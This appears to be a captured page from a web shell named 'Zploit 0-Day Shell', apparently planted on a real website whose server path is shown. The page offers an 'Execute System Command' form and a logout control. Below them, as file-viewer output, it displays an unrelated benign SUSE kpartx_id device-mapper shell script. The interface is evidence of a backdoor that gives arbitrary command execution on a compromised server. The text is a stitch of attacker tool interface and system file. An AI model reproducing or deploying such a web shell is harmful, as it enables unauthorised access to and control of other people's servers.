<!DOCTYPE html>
<html>
<head>
    <title>Zploit 0-Day Shell</title>
    <style>
        body{background:#000;color:#0f0;font-family:'Consolas',monospace;margin:0;padding:0;}
        a{color:#08f;text-decoration:none;}
        a:hover{color:#f0f;}
        .container{padding:10px;}
        .header{background:#111;padding:5px 10px;border-bottom:1px solid #0f0;}
        .cmd_form input[type="text"]{background:#333;color:#0f0;border:1px solid #0f0;width:400px;padding:3px;}
        .file_table{width:100%;border-collapse:collapse;}
        .file_table th, .file_table td{border:1px solid #222;padding:5px;text-align:left;font-size:12px;}
        .file_table th{background:#0a0;color:#000;}
        .dir_entry{background:#001;}
        .file_entry:hover, .dir_entry:hover{background:#003;}
        .msg{background:#300;color:#f88;padding:5px;margin-bottom:10px;border:1px solid #f00;}
        .edit_area{width:99%;height:400px;background:#111;color:#0f0;border:1px solid #0f0;}
        .action_form input[type="submit"]{background:#333;color:#0f0;border:1px solid #0f0;padding:2px 5px;}
    </style>
</head>
<body>

<div class="header">
    :: **Zploit** v1.0 | Current Path: **/home/iictguj2/iictindia.in/public/assets/**
    <form method="POST" action="?d=L2hvbWUvaWljdGd1ajIvaWljdGluZGlhLmluL3B1YmxpYy9hc3NldHMv" style="display:inline;float:right;">
        <input type="hidden" name="action" value="logout">
        <input type="submit" value="Exit">
    </form>
</div>

<div class="container">



<form method="POST" class="cmd_form">
    <input type="text" name="cmd" placeholder="Execute System Command..." autocomplete="off">
    <input type="submit" value="EXEC">
</form>

<hr style="border-color:#0f0;">

#!/bin/sh
#
# kpartx_id
#
# Generates ID information for device-mapper tables.
#
# Copyright (C) 2006 SUSE Linux Products GmbH
# Author:
#       Hannes Reinecke <hare@suse.de>
#
#
#       This program is free software; you can redistribute it and/or modify it
#       under the terms of the GNU General Public License as published by the
#       Free Software Foundation version 2 of the License.
#
# This script generates ID information used to generate persistent symlinks.
# It relies on the UUID strings generated by the various programs; the name
# of the tables are of no consequence.
#
# Please note that dmraid does not provide the UUIDs (yet); a patch has been
# sent upstream but has not been accepted yet.
#

DMSETUP=/sbin/dmsetup

MAJOR=$1
MINOR=$2
UUID=$3

if [ -z "$MAJOR" -o -z "$MINOR" ]; then
    echo "usage: $0 major minor"
    exit 1;
fi

# Device-mapper not installed; not an error
if [ ! -x $DMSETUP ] ; then
    exit 0
fi


# Table UUIDs are always '<type>-<uuid>'.
dmuuid=${UUID#*-}
dmtbl=${UUID%%-*}
dmpart=${dmtbl#part}
dmserial=
# kpartx types are 'part<num>'
if [ "$dmpart" = "$dmtbl" ] ; then
    dmpart=
else
    dmtbl=part
fi

# Set the name of the table. We're only interested in dmraid,
# multipath, and kpartx tables; everything else is ignored.
if [ "$dmtbl" = "part" ] ; then
    dmname=$($DMSETUP info  -c --noheadings -o name -u $dmuuid)
    echo "DM_MPATH=$dmname"
    # We need the dependencies of the parent table to figure out
    # the type if the parent is a multipath table
    case "$dmuuid" in
	mpath-*)
	    dmdeps=$($DMSETUP deps -u $dmuuid)
	    dmserial=${dmuuid#mpath-}
	    ;;
    esac
elif [ "$dmtbl" = "mpath" ] ; then
    dmname="$dmuuid"
    dmserial="$dmuuid"
    # We need the dependencies of the table to figure out the type
    dmdeps=$($DMSETUP deps -u $UUID)
fi

[ -n "$dmpart" ] && echo "DM_PART=$dmpart"

# Figure out the type of the map. For non-multipath maps it's
# always 'raid'.
if [ -n "$dmdeps" ] ; then
    case "$dmdeps" in
	*\(94,*)
	    echo "DM_TYPE=ccw"
	    ;;
	*\(104,* | *\(105,* | *\(106,* | *\(107,* | *\(108,* | *\(109,* | *\(110,* | *\(112,*)
	    echo "DM_TYPE=cciss"
	    ;;
	*\(9*)
	    echo "DM_TYPE=raid"
	    ;;
	*)
	    echo "DM_TYPE=scsi"
	    echo "DM_WWN=0x${dmserial#?}"
	    ;;
    esac
else
    echo "DM_TYPE=raid"
fi
if [[ $dmserial ]]; then
    echo "DM_SERIAL=$dmserial"
fi

exit 0
